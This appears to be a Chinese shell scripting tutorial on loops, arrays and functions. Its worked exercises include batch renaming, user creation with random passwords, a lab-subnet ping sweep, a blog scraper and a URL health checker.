    12 [ -d /clsn ] || mkdir -p /clsn
    13 rpm -qa |grep pwgen &>/dev/null
    14 if [ $? -eq  1 ]
    15   then
    16     yum install pwgen -y &>/dev/null
    17 fi
    18
    19 cd /clsn &&\
    20 for i in {1..10}
    21   do
    22    #File_Name=`uuidgen |tr "0-9-" "a-z"|cut -c 1-10`
    23    File_Name2=`pwgen -1A0 10`
    24    touch ${File_Name2}_clsn.html
    25 done

    脚本执行结果

    [root@clsn for]# ls -l  /clsn
    -rw-r--r-- 1 root root 0 12月  8 19:41 aegheiriek_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 aifohxique_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 caexahween_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 ciefaivaib_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 eixongooph_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 foozaivedo_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 ireeteethu_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 ohmeebivae_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 oiceehahth_clsn.html
    -rw-r--r-- 1 root root 0 12月  8 19:41 sheewaehoo_clsn.html

    3.2.2 【练习题2】批量改名特殊案例

    【练习题1】中结果文件名中的clsn字符串全部改成znix(最好用for循环实现),并且将扩展名html全部改成大写。

    jpvirsnjld_clsn.html   ===> jpvirsnjld_znix.HTML

    脚本内容:

    批量改名

    1 [root@clsn for2]# cat rename_file.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: rename_file.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-08 11:31:56
    9 # Description:
    10 #############################################################
    11
    12 cd /clsn &&\
    13 File_name=`ls |sed -r 's#(.*)_clsn.html#\1#g'`
    14
    15 for i in $File_name
    16   do
    17    if [ -f ${i}_clsn.html ]
    18      then
    19      mv ${i}_clsn.html ${i}_znix.HTML
    20    else
    21      echo "文件修改完成."
    22      exit
    23    fi
    24 done

    查看结果

    [root@clsn for2]# ls /clsn/
    aeyaesughi_znix.HTML  caireasipi_znix.HTML  uahahnieli_znix.HTML
    aifaepheeb_znix.HTML  eathixoong_znix.HTML  zalipageen_znix.HTML
    akuipheeye_znix.HTML  ietoothaik_znix.HTML
    apheikieno_znix.HTML  lachohtaif_znix.HTML

    3.2.2.1  批量改名其他方式

      rename 方式(最方便,专业改名)

    rename txt jpg *

      非 for 循环方式批量改名(使用sed命令进行拼接,然后交给bash执行)

    ls *jpg|sed -r 's#(.*).jpg#mv &  \1.mp4#'|bash

    3.2.3 【练习题3】批量创建特殊要求用户案例

      批量创建10个系统帐号clsn01-clsn10并设置密码(密码为随机数,要求字符和数字等混合)。

    脚本内容:

    批量创建特殊要求用户

    1 [root@clsn for2]# cat add_user.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: add_user.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-08 11:52:21
    9 # Description:
    10 #############################################################
    11
    12 Passwd_File=/tmp/`uuidgen`.txt
    13 >$Passwd_File
    14 chmod 400 $Passwd_File
    15
    16 for i in clsn{01..10}
    17   do
    18    userdel -r "$i" &>/dev/null
    19    id $i &>/dev/null
    20    if [ $? -ne 0 ]
    21      then
    22        useradd $i
    23        PassWd=`uuidgen`
    24        echo $PassWd |passwd --stdin $i &>/dev/null
    25        echo "用户名:$i  密码:$PassWd" >>$Passwd_File
    26        echo -e "\033[32m $i 用户创建成功!\033[0m"
    27    else
    28      echo "$i 用户已存在"
    29    fi
    30    if [ "$i" == "clsn10" ]
    31      then
    32        echo "用户密码请查看文件 $Passwd_File"
    33    fi
    34 done

    查看成的密码文件

    [root@clsn for2]# cat /tmp/3e5c18d9-f878-4d06-931e-5bbcc810c3dc.txt
    用户名:clsn01  密码:3d4644d0-9cf4-49db-8928-1a8346972c32
    用户名:clsn02  密码:70798c3a-c8e3-42a0-9942-d4011ce4b4b3
    用户名:clsn03  密码:db2a0f1d-2e49-44f5-a5b2-69b352b30120
    用户名:clsn04  密码:62d2e0c6-b755-4b00-ad2d-c98f9ca9f258
    用户名:clsn05  密码:eaa3471b-d04f-4d7c-8b7e-3d75172a483b
    用户名:clsn06  密码:fb260a11-cd47-4b97-ab49-0cae7a755262
    用户名:clsn07  密码:16ee7a1f-8aac-4537-b1aa-7fc75beb8754
    用户名:clsn08  密码:0dde8823-b97d-4c88-9258-3a68a3b53eba
    用户名:clsn09  密码:daf14ec4-ba9f-4593-9773-1557fdf605dc
    用户名:clsn10  密码:6f1b452c-00b2-44a1-9f43-5f658d3a9124

    脚本执行过程:

     

     

    3.2.3.1  批量创建用户并设置随机密码(不使用shell循环)

      方法一

    echo user{1..20}|xargs -n1|sed -r 's#(.*)#useradd \1 \&\& echo \1 >>/tmp/passwd.txt \&\& echo $RANDOM |md5sum |cut -c 1-5>>/tmp/passwd.txt \&\& echo `tail -1 /tmp/passwd.txt`|passwd --stdin \1#g'|bash

      方法二

    echo user{1..20}|xargs -n1|sed -r 's#(.*)#useradd \1 \&\& pass=`echo $RANDOM |md5sum |cut -c 1-5` \&\& echo $pass |passwd --stdin \1 \&\& echo \1 $pass>>/tmp/user_passwd.txt#g'|bash

      方法三

    echo user{1..20}|xargs -n1|sed -r 's#(.*)#useradd \1 \&\& pass=`echo $RANDOM |md5sum |cut -c 1-5` \&\& echo \1:$pass>>/tmp/user_passwd.txt \&\& chpasswd</tmp/user_passwd.txt#g'|bash

    3.2.4 【练习题4】扫描网络内存活主机案例

      写一个Shell脚本,判断10.0.0.0/24网络里,当前在线的IP有哪些?

    脚本内容:

    扫描网络内存活主机

    1 [root@clsn for]# cat scan_ip2.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: scan_ip.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-07 21:58:47
    9 # Description:
    10 #############################################################
    11
    12 Ip_File=/tmp/scan_ip.txt
    13 >$Ip_File
    14
    15 for i in 10.0.0.{1..254}
    16  do
    17   ping -c 1 -W 1 $i &>/dev/null && \
    18   if [ $? -eq 0 ] ;then
    19     echo "存活主机: $i" &>>$Ip_File
    20   fi &  
    21 done
    22 echo "使用 cat $Ip_File 查看扫描结果"

    脚本执行结果

    [root@clsn for]# time sh scan_ip2.sh
    使用 cat /tmp/scan_ip.txt 查看扫描结果

    real    0m0.290s
    user    0m0.001s
    sys    0m0.039s

    [root@clsn for]#  cat /tmp/scan_ip.txt
    存活主机: 10.0.0.180
    存活主机: 10.0.0.254

    3.2.5 【练习题5】筛选符合长度的单词案例

      利用bash for循环打印下面这句话中字母数不大于6的单词(某企业面试真题)。

        I am clsn Welcome to my blog http://blog.znix.top

    脚本内容:

    筛选符合长度的单词

    1 [root@clsn for]# vim  changdu.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: changdu.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-07 22:36:48
    9 # Description:
    10 #############################################################
    11
    12 Word='I am clsn Welcome to my blog http://blog.znix.top'
    13
    14 for i in $Word
    15  do
    16   #[ ${#i} -le 6 ]  && echo $i  #子串方法
    17   a=`echo $i |wc -L`
    18   if [ $a -le 6 ]
    19     then
    20       echo $i
    21    fi
    22 done

    脚本执行结果

    [root@clsn for]# sh changdu.sh
    I
    am
    clsn
    to
    my
    blog

    方法二:

    read -p "请输入要判断的语句:" a
    set -- $a
    for i in "$@"
      do
        if [ ${#i} -le 6 ];then
           echo "$i"
        fi
    done

     由 https://home.cnblogs.com/u/1233234   @贰佰  提供

    使用expr 计算字符串长度

    [root@clsn scripts]# expr length '111'
    3

    3.2.6 【练习题6】破解RANDOM随机数案例

      已知下面的字符串是通过RANDOM随机数变量md5sum后,再截取一部分连续字符串的结果,请破解这些字符串对应的使用md5sum处理前的RANDOM对应的数字?

      21029299
      00205d1c
      a3da1677
      1f6d12dd
      890684b

    脚本内容

    破解RANDOM随机数

    [root@clsn for]# vim  pojie.sh
    #!/bin/bash
    #############################################################
    # File Name: pojie.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-07 22:41:01
    # Description:
    #############################################################

    md5File=/tmp/Randow_Md5.txt
    Md5_Word="21029299 00205d1c a3da1677 1f6d12dd 890684b"

    if [ ! -f $md5File ]
      then
        >$md5File
        for i in {0..32767}
           do
            echo `echo $i |md5sum` $i  >> $md5File
        done
    else
        for num in $Md5_Word
          do
           grep $num $md5File
        done
    fi

    脚本执行结果

    [root@clsn for]# sh  pojie.sh
    2102929901ee1aa769d0f479d7d78b05 - 25667
    00205d1cbbeb97738ad5bbdde2a6793d - 1346
    a3da1677501d9e4700ed867c5f33538a - 25345
    1f6d12dd61b5c7523f038a7b966413d9 - 7041
    890684ba3685395c782547daf296935f - 10082

    3.2.7 【练习题7】博客园博文爬虫案例

      获取博客园(惨绿少年)博客列表倒序排序考试题

    需求如下:

      请把https://www.cnblogs.com/clsn/地址中的所有博文,按照时间倒序列表如下:

        2017年12月8日  Shell编程基础篇-下

        http://www.cnblogs.com/clsn/p/8006210.html

        2017年12月7日   memcached 缓存数据库应用实践

        http://www.cnblogs.com/clsn/p/7999510.html

    高级要求:

      生成html页面,并设置超链接。

      结果如改网页展示:http://www.cnblogs.com/clsn/p/8007232.html

    脚本内容:

    博客园博文爬虫案例

    1 [root@clsn htmp]# cat clsn_blog.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: clsn_blog.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-08 21:19:12
    9 # Description:
    10 #############################################################
    11
    12 Uri='http://www.cnblogs.com/clsn/default.html?page='
    13
    14 clsn_Html=/tmp/html/clsn.html
    15 mkdir -p /tmp/html/
    16 >$clsn_Html
    17
    18 for i in {1..6}
    19   do
    20     curl -s  $Uri$i |grep -A 5  'ImageLink' |sed  's#<.*div.*># #g'|sed 's#--#<br>#g' >> $clsn_Html
    21     echo '<br>' >>$clsn_Html
    22 done

    脚本成网页文件

     

    3.2.7.1  51CTO博客爬虫案例

    脚本内容

    51CTO博客爬虫

    1 [root@clsn html]# cat oldboy_blog.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: oldboy_blog.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-08 22:30:57
    9 # Description:
    10 #############################################################
    11
    12 Uri='http://blog.51cto.com/oldboy/p'
    13 Blog_Index_File=/tmp/html/oldboy_blog.html
    14 mkdir -p /tmp/html
    15 > /tmp/html/oldboy_blog.html
    16
    17 for i in {1..29}
    18   do
    19   curl -s $Uri$i |grep -A 5  '发布于'  |\
    20        sed '/^.*zan fr.*/,+2d'|\
    21        sed 's#^--$#<br>#g'|\
    22        sed 's#<a.*fl">发布于:#<a>#g'|\
    23        sed 's#<sp.*an>##g' >>\
    24            $Blog_Index_File
    25   echo '<br>' >>$Blog_Index_File
    26 done

    附 文本编码转码

    [root@clsn for]# iconv --help
    用法: iconv [选项...] [文件...]
    转换给定文件的编码。

    输入/输出格式规范:
      -f, --from-code=名称     原始文本编码
      -t, --to-code=名称       输出编码

    信息:
      -l, --list                 列举所有已知的字符集

    输出控制:
      -c                         从输出中忽略无效的字符
      -o, --output=FILE          输出文件
      -s, --silent               关闭警告
          --verbose              打印进度信息

      -?, --help                 给出该系统求助列表
          --usage                给出简要的用法信息
      -V, --version              打印程序版本号

    长选项的强制或可选参数对对应的短选项也是强制或可选的

    常用:

     iconv  -f gb2312  -t utf-8 -c  clsn.html

    3.3 while循环语句

    在编程语言中,while循环(英语:while loop)是一种控制流程的陈述。利用一个返回结果为布林值(Boolean)的表达式作为循环条件,当这个表达式的返回值为“真”(true)时,则反复执行循环体内的程式码;若表达式的返回值为“假”(false),则不再执行循环体内的代码,继续执行循环体下面的代码。

             因为while循环在区块内代码被执行之前,先检查陈述是否成立,因此这种控制流程通常被称为是一种前测试循环(pre-test loop)。相对而言do while循环,是在循环区块执行结束之后,再去检查陈述是否成立,被称为是后测试循环。

     

    3.3.1 shell中while语法

    while 条件
      do
        命令
    done

    3.3.2 while 使用场景

             多用于创建守护进程

    【示例1】:while实现web服务器搭建

             脚本代码

    [root@clsn scripts]# vim web_view.sh
    #!/bin/bash
    #############################################################
    # File Name: web_view.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-11 10:07:24
    # Description:
    #############################################################
    while true
      do
      echo "ok" | nc -l 81
    done

      客户端进行访问测试

    [root@clsn html]# curl 10.0.0.180:81
    ok

      服务端显示结果:

    【示例2】:while创建定时任务

             脚本内容:

    #!/bin/bash
    while  true
      do
        uptime
           sleep 0.6
    done

             脚本执行结果

    [root@clsn while]# sh  while1.sh
    15:01:52 up 2 days,  6:02,  3 users,  load average: 0.00, 0.01, 0.05
    15:01:53 up 2 days,  6:02,  3 users,  load average: 0.00, 0.01, 0.05
    15:01:53 up 2 days,  6:02,  3 users,  load average: 0.00, 0.01, 0.05
    15:01:54 up 2 days,  6:02,  3 users,  load average: 0.00, 0.01, 0.05
    15:01:55 up 2 days,  6:02,  3 users,  load average: 0.00, 0.01, 0.05
    15:01:55 up 2 days,  6:02,  3 users,  load average: 0.00, 0.01, 0.05

    说明:

             sleep 与 usleep

    sleep 单位 秒  sleep 1 休息1秒

    usleep 单位 微秒 usleep 1000000 休息1s

    1微秒等于百万分之一秒(10的负6次方秒)

    时间测试

    [root@clsn while]# time sleep 0.1

    real    0m0.102s
    user    0m0.001s
    sys    0m0.000s

    3.3.3 while 作用

      补充定时任务功能,执行小于1秒的定时任务

      循环执行某些操作,例如水果菜单

              见上文

    示例1:使用while循环实现水果菜单的重复使用  

             脚本内容

    使用while循环实现水果菜单的重复使用

             脚本执行过程

     

    示例2:计算1-100的和

      方法一 (bc命令实现)

    echo `seq -s + 1 100`|bc

      方法二(while循环方法)

    [root@clsn while]# cat jishan.sh
    #!/bin/bash
    #############################################################
    # File Name: jishan.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-09 15:18:44
    # Description:
    #############################################################

    i=1

    while [ "$i" -le 100 ]
      do
      ((b=b+i))
      ((i++))
    done
    echo $b

    示例3:实现类似手机通讯计费功能

             脚本内容:

    实现类似手机通讯计费功能

    1 [root@clsn scripts]# cat while/shouji.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: shouji.sh
    5 # Version: V1.0
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-09 15:56:09
    9 # Description:
    10 #############################################################
    11 sum=1000
    12 i=15
    13
    14
    15 while [ $sum -ge 15 ]
    16   do
    17 cat<<EOF
    18 =================
    19 1.发短信
    20 2.查余额
    21 3.账户充值
    22 4.退出
    23 =================
    24 EOF
    25     read -p "你要做什么呢?" Some
    26     case "$Some" in
    27       1)
    28         sum=$((sum-i))
    29         read -p  "请输入发送短信的内容:"
    30         read -p  "请输入收信人:"
    31         sleep 0.3
    32         echo "发送成功."
    33         echo "您当前余额为$sum"
    34         ;;
    35       2)
    36         echo "您当前余额为$sum"
    37         ;;
    38       3)
    39         read -p "请输入你要充值的金额:" ChongZhi
    40         sum=$((sum+ChongZhi))
    41         echo "充值成功,当前余额为$sum"
    42         ;;
    43       4)
    44         exit
    45         ;;
    46       *)
    47         echo "输入有误!"
    48         exit 2
    49     esac
    50 done
    51
    52 echo "余额不足,请及时充值!"

     

    3.4 获取取文件中的行,单词和字符

    3.4.1 迭代获取文件中的每一行

    方法一

    while read line;
      do
        echo $line;
    done < file.txt

    方法二

    cat file.txt|while read line
      do
    echo $line
    done

    方法三

    exec < file.txt
    while read line;
      do
        echo line;
    done

    3.4.2 迭代获取每一个单词

    for word in $line;
      do
        echo $word;
    done

    3.4.3 迭代获取每一个字符

    3.4.4 同时获取取文件中的行,单词和字符脚本

    脚本内容

    #!/bin/bash
    n=1
    while read i
      do
       echo "第${n}行 $i"
       m=1
       for x in $i
         do
           echo "第${m}个单词 $x"
           echo $x|grep -o .
           ((m++))
       done
       ((n++))
    done < $1

    脚本执行结果:

    同时获取取文件中的行,单词和字符脚本 执行结果

      1 [root@clsn scripts]# sh  lunxun.sh  /etc/hosts
      2 第1行 127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
      3 第1个单词 127.0.0.1
      4 1
      5 2
      6 7
      7 .
      8 0
      9 .
    10 0
    11 .
    12 1
    13 第2个单词 localhost
    14 l
    15 o
    16 c
    17 a
    18 l
    19 h
    20 o
    21 s
    22 t
    23 第3个单词 localhost.localdomain
    24 l
    25 o
    26 c
    27 a
    28 l
    29 h
    30 o
    31 s
    32 t
    33 .
    34 l
    35 o
    36 c
    37 a
    38 l
    39 d
    40 o
    41 m
    42 a
    43 i
    44 n
    45 第4个单词 localhost4
    46 l
    47 o
    48 c
    49 a
    50 l
    51 h
    52 o
    53 s
    54 t
    55 4
    56 第5个单词 localhost4.localdomain4
    57 l
    58 o
    59 c
    60 a
    61 l
    62 h
    63 o
    64 s
    65 t
    66 4
    67 .
    68 l
    69 o
    70 c
    71 a
    72 l
    73 d
    74 o
    75 m
    76 a
    77 i
    78 n
    79 4
    80 第2行 ::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
    81 第1个单词 ::1
    82 :
    83 :
    84 1
    85 第2个单词 localhost
    86 l
    87 o
    88 c
    89 a
    90 l
    91 h
    92 o
    93 s
    94 t
    95 第3个单词 localhost.localdomain
    96 l
    97 o
    98 c
    99 a
    100 l
    101 h
    102 o
    103 s
    104 t
    105 .
    106 l
    107 o
    108 c
    109 a
    110 l
    111 d
    112 o
    113 m
    114 a
    115 i
    116 n
    117 第4个单词 localhost6
    118 l
    119 o
    120 c
    121 a
    122 l
    123 h
    124 o
    125 s
    126 t
    127 6
    128 第5个单词 localhost6.localdomain6
    129 l
    130 o
    131 c
    132 a
    133 l
    134 h
    135 o
    136 s
    137 t
    138 6
    139 .
    140 l
    141 o
    142 c
    143 a
    144 l
    145 d
    146 o
    147 m
    148 a
    149 i
    150 n
    151 6
    152 第3行 10.0.0.1 mirrors.aliyuncs.com mirrors.aliyun.com
    153 第1个单词 10.0.0.1
    154 1
    155 0
    156 .
    157 0
    158 .
    159 0
    160 .
    161 1
    162 第2个单词 mirrors.aliyuncs.com
    163 m
    164 i
    165 r
    166 r
    167 o
    168 r
    169 s
    170 .
    171 a
    172 l
    173 i
    174 y
    175 u
    176 n
    177 c
    178 s
    179 .
    180 c
    181 o
    182 m
    183 第3个单词 mirrors.aliyun.com
    184 m
    185 i
    186 r
    187 r
    188 o
    189 r
    190 s
    191 .
    192 a
    193 l
    194 i
    195 y
    196 u
    197 n
    198 .
    199 c
    200 o
    201 m
    202 第4行 10.0.0.180 clsn
    203 第1个单词 10.0.0.180
    204 1
    205 0
    206 .
    207 0
    208 .
    209 0
    210 .
    211 1
    212 8
    213 0
    214 第2个单词 clsn
    215 c
    216 l
    217 s
    218 n

    3.4.5 eval 命令用法

    [root@clsn ~]# clsn=6
    [root@clsn ~]# echo {1..$clsn}
    {1..6}
    [root@clsn ~]# eval echo {1..$clsn}
    1 2 3 4 5 6

       eval 命令的说明

    [root@clsn ~]# help eval
    eval: eval [参数 ...]
        将参数作为 shell 命令执行。
       
        将 ARGs 合成一个字符串,用结果作为 shell 的输入,
        并且执行得到的命令。
       
        退出状态:
        以命令的状态退出,或者在命令为空的情况下返回成功。

    3.5 break continue exit return

    条件与循环控制及程序返回值命令表 

    命令

    说明

    break n   

    如果省略n,则表示跳出整个循环,n表示跳出循环的层数

    continue n

    如果省略n,则表示跳过本次循环,忽略本次循环的剩余代码,进人循环的下一次循环。 n表示退到第n层继续循环

    exit n

    退出当前Shell程序,n为上一次程序执行的状态返回值。n也可以省略,在下一个Shell里可通过"$?"接收exit n的n值

    return n

    用于在函数里作为函数的返回值,以判断函数执行是否正确。在下一个Shell里可通过"$?"接收exit n的n值

    简单来说即:

    break    跳出循环
    continue 跳出本次循环
    exit     退出脚本
    return   与 exit 相同,在函数中使用

    3.5.1 break命令说明

    [root@clsn scripts]# help break
    break: break [n]
        退出 for、while、或 until 循环
       
        退出一个 FOR、WHILE 或 UNTIL 循环。如果指定了N,则打破N重
        循环
       
        退出状态:
        退出状态为0除非 N 不大于或等于 1。

      测试脚本内容

    break 测试脚本

    1 #!/bin/bash
    2
    3 for i in {1..5}
    4
    5   do
    6
    7     if [ $i -eq 3 ]
    8
    9       then
    10
    11        break
    12
    13     fi
    14
    15     echo $i
    16
    17 done
    18
    19 echo "ok"

     

      脚本执行结果

    [root@clsn scripts]# sh break.sh
        1
        2
        ok

    3.5.2 continue命令说明

    [root@clsn scripts]# help continue
    continue: continue [n]
        继续 for、while、或 until 循环。
       
        继续当前 FOR、WHILE 或 UNTIL 循环的下一步。
        如果指定了 N, 则继续当前的第 N 重循环。
       
        退出状态:
        退出状态为 0 除非 N 不大于或等于1。

      测试脚本内容

    continue 测试脚本

    1 #!/bin/bash
    2     for i in {1..5}
    3       do
    4         if [ $i -eq 3 ]
    5           then
    6             continue
    7         fi
    8         echo $i
    9     done
    10     echo "ok"

     

      脚本执行结果

    [root@clsn scripts]# sh continue.sh
    1
    2
    4
    5
    ok

    3.5.3 exit命令说明

    [root@clsn scripts]# help exit
    exit: exit [n]
        退出shell。
       
        以状态 N 退出 shell。  如果 N 被省略,则退出状态
        为最后一个执行的命令的退出状态。

      测试脚本内容

    exit 测试脚本

    1     #!/bin/bash
    2     for i in {1..5}
    3       do
    4         if [ $i -eq 3 ]
    5           then
    6             exit
    7         fi
    8         echo $i
    9     done
    10     echo "ok"

     

      脚本执行结果

        [root@clsn scripts]# sh exit.sh
        1
        2

    3.5.4 return命令说明

    [root@clsn tuichu]# help return
    return: return [n]
        从一个 shell 函数返回。
       
        使一个函数或者被引用的脚本以指定的返回值 N 退出。
        如果 N 被省略,则返回状态就是
        函数或脚本中的最后一个执行的命令的状态。
       
        退出状态:
        返回 N,或者如果 shell 不在执行一个函数或引用脚本时,失败。

    3.6 shell中的数组

    3.6.1 为什么会产生Shell数组

      通常在开发Shell脚本时,定义变量采用的形式为“a=l;b=2;C=3”,可如果有多个 变量呢?这时再逐个地定义就会很费劲,并且要是有多个不确定的变量内容,也会难以 进行变量定义,此外,快速读取不同变量的值也是一件很痛苦的事情,于是数组就诞生 了,它就是为了解决上述问题而出现的。

    3.6.2 什么是Shell数组

      Shell的数组就是一个元素集合,它把有限个元素(变量或字符内容)用一个名字来 命名,然后用编号对它们进行区分。这个名字就称为数组名,用于区分不同内容的编 号就称为数组下标。组成数组的各个元素(变量)称为数组的元素,有时也称为下标变量。

    3.6.3 数组中的增删改查

    数组的定义

    # 定义数组
    [root@clsn scripts]# stu=(001 002 003)
    # 打印数组
    [root@clsn scripts]# echo ${stu[@]}
    001 002 003
    # 显示数组长度
    [root@clsn scripts]# echo ${#stu}
    3

    查: 遍历数组的内容

    # 打印数组内容(通过数组下标或索引)
    [root@clsn scripts]# echo ${stu[0]}
    001
    [root@clsn scripts]# echo ${stu[1]}
    002
    [root@clsn scripts]# echo ${stu[2]}
    003
    [root@clsn scripts]# echo ${stu[3]}

    # 遍历数组
      方法一
    [root@clsn scripts]# for i in ${stu[@]};do echo $i ;done
    001
    002
    003
        # 方法二
    [root@clsn scripts]# array=(1 2 3 4 5)
    [root@clsn scripts]# for i in `eval echo {1..${#array[@]}}`;do echo ${array[i-1]};done
    1
    2
    3
    4
    5

    增:数组添加

    [root@clsn scripts]# stu[3]=004
    [root@clsn scripts]# echo ${stu[@]}
    001 002 003 004

    改:数组修改

    [root@clsn scripts]# stu[2]=000
    [root@clsn scripts]# echo ${stu[@]}
    001 002 000 004

    删:数组删除

    [root@clsn scripts]# unset stu[2]
    [root@clsn scripts]# echo ${#stu[@]}
    3
    [root@clsn scripts]# echo ${stu[@]}
    001 002 004

    3.6.4 将命令的结果赋值给数组

    dir=(`ls`)
    dir=($(ls))

    命令定义数组

    [root@clsn scripts]# COM=(`ls`)
    [root@clsn scripts]# echo ${COM[@]}
    bianliang.sh case cfb.sh chanshu.sh check check_url.sh

    clsn.sh clsn_test.sh daojishi.sh ddos_check.sh echo.sh for for2 fruits.sh

    function fz.sh html jingdutiao.sh jishuanqi2.sh jishuanqi.sh lamp.sh lnmp.sh

    memcache_check.sh menu.sh nginx.sh panduan panduan1 play quanju.sh rsync_check.sh

    rsyncd system6 tuichu web_check.sh web_view.sh while xiugaizhuji.sh yhk.sh yunshuan.sh

    zhuajiu.sh

    3.6.1 数组定义格式

    [root@clsn scripts]# a=(1 2 3 )
    [root@clsn scripts]# b=(1
    > 2
    > 3
    > 4
    > )
    [root@clsn scripts]# echo ${a[@]}
    1 2 3
    [root@clsn scripts]# echo ${b[@]}
    1 2 3 4

    3.6.2 数组的本质就是一个变量,只是这个变量存了多个值

    在shell 常用的功能是查

       array=(valuel value2 value3 ...)

    打印数组格式

    ${array[@]} 所有元素
    ${#array[@]}  数组长度
    ${array[i]}  单个元素,i是下标

    3.6.3 【练习题】批量检查多个网站地址是否正常

    要求:

      1、使用shell数组方法实现,检测策略尽量模拟用户访问。

      2、每10秒钟做一次所有的检测,无法访问的输出报警。

      3、待检测的地址如下

        http://www.cnblogs.com/clsn/

        http://blog.znix.top

        http://blog.nmtui.com

        http://10.0.0.7

    脚本内容:

    批量检查多个网站地址是否正常

    1 [root@clsn scripts]# cat check_url.sh
    2 #!/bin/bash
    3 #############################################################
    4 # File Name: check_url.sh
    5 # Version: V1.3
    6 # Author: clsn
    7 # Organization: http://blog.znix.top
    8 # Created Time : 2017-12-12 10:44:39
    9 # Description:
    10 #############################################################
    11 url=(
    12 http://www.cnblogs.com/clsn/
    13 http://blog.znix.top
    14 http://blog.nmtui.com
    15 http://10.0.0.7
    16 )
    17 while true
    18   do
    19     for i in ${url[@]}
    20       do
    21       #curl $i &>/dev/null
    22       a=$(curl -I -w "%{http_code}\n" -o /dev/null -s $i)
    23       if [ $a -ne 200 ]
    24         then
    25           echo "$url 异常"
    26       fi
    27     done
    28     sleep 10
    29 done

    3.7 Shell 函数

      shell一个非常重要的特性是它可作为一种编程语言来使用。因为shell是一个解释器,所以它不能对为它编写的程序进行编译,而是在每次从磁盘加载这些程序时对它们进行解释。而程序的加载和解释都是非常耗时的。

       针对此问题,许多shell(如BourneAgainShell)都包含shell函数,shell把这些函数放在内存中,这样每次需要执行它们时就不必再从磁盘读入。shell还以一种内部格式来存放这些函数,这样就不必耗费大量的时间来解释它们。

             函数的作用就是把程序里多次调用相同代码的部分定义成一份,然后起个名字,所有的调用都 只用这名字就可以了,修改代码时,只需要改变函数体内的代码即可。

    3.7.1 使用函数的优势

       ? 把相同的程序段定义成函数,可以减少代码量。

       ? 增加程序的可读、易读性

       ? 实现程序功能的模块化

    3.7.2 定义函数

    function clsn(){
        echo "http://blog.znix.top"
    }

    znix(){
        echo "http://www.znix.top "
    }

    说明:

      1、可以带function clsn() 定义,也可以直接clsn() 定义,不带任何参数。

      2、参数返回,可以显示加:return 返回,如果不加,将以最后一条命令运行结果,作为返回值。 return后跟数值n(0-255)

      3、执行函数就是将函数名放到定义的函数之后即可

    将函数加载到当前窗口执行:

    [root@clsn function]# . fun1.sh
    [root@clsn function]# zn
    znew  znix 
    [root@clsn function]# znix
    test
    [root@clsn function]# clsn
    http://blog.znix.top

    3.7.3 引用函数

    脚本内容

    [root@clsn function]# cat  fun2.sh
    #!/bin/bash
    #############################################################
    # File Name: fun2.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-11 19:25:56
    # Description:
    #############################################################
    Fun_File=/server/scripts/function/fun1.sh
    [ -f $Fun_File ] && . $Fun_File
    clsn

    脚本执行结果

    [root@clsn function]# sh  fun2.sh
    http://blog.znix.top

    3.7.4 函数传参

    脚本内容:

    [root@clsn function]# cat fun3.sh
    #!/bin/bash
    #############################################################
    # File Name: fun3.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-12 09:38:48
    # Description:
    #############################################################

    function clsn(){
        echo "Hi "
    }
    CLSN(){
        echo "Hello "
        echo  $0
        echo  $1
        echo  $2

    }
    clsn
    CLSN xi  xi

    脚本执行结果

    [root@clsn function]# sh fun3.sh
    Hi
    Hello
    fun3.sh
    xi
    xi

    3.7.5 $0 永远的脚本名称

    function clsn(){
        echo "http://blog.znix.top $1 $2"
        echo $0
    }

    znix(){
        echo "test"
    }
    clsn $1 $2

    执行结果

    [root@clsn function]# sh  fun1.sh
    http://blog.znix.top 
    fun1.sh

    3.7.6 函数中return的用法

    脚本内容:

    [root@clsn function]# cat  fun3.sh
    #!/bin/bash
    #############################################################
    # File Name: fun3.sh
    # Version: V1.0
    # Author: clsn
    # Organization: http://blog.znix.top
    # Created Time : 2017-12-12 09:38:48
    # Description:
    #############################################################

    function clsn(){
        echo "Hi "
    }
    CLSN(){
        echo "Hello "
        echo  $0
        echo  $1
        echo  $2
        return 4
        echo "xxixiixxiix"

    }
    clsn
    CLSN xi  xi
    echo $?

    脚本执行结果

    [root@clsn function]# sh fun3.sh
    Hi
    Hello
    fun3.sh
    xi
    xi
    4

    return命令说明:

    [root@clsn function]# help return
    return: return [n]
        从一个 shell 函数返回。
       
        使一个函数或者被引用的脚本以指定的返回值 N 退出。
        如果 N 被省略,则返回状态就是
        函数或脚本中的最后一个执行的命令的状态。
       
        退出状态:
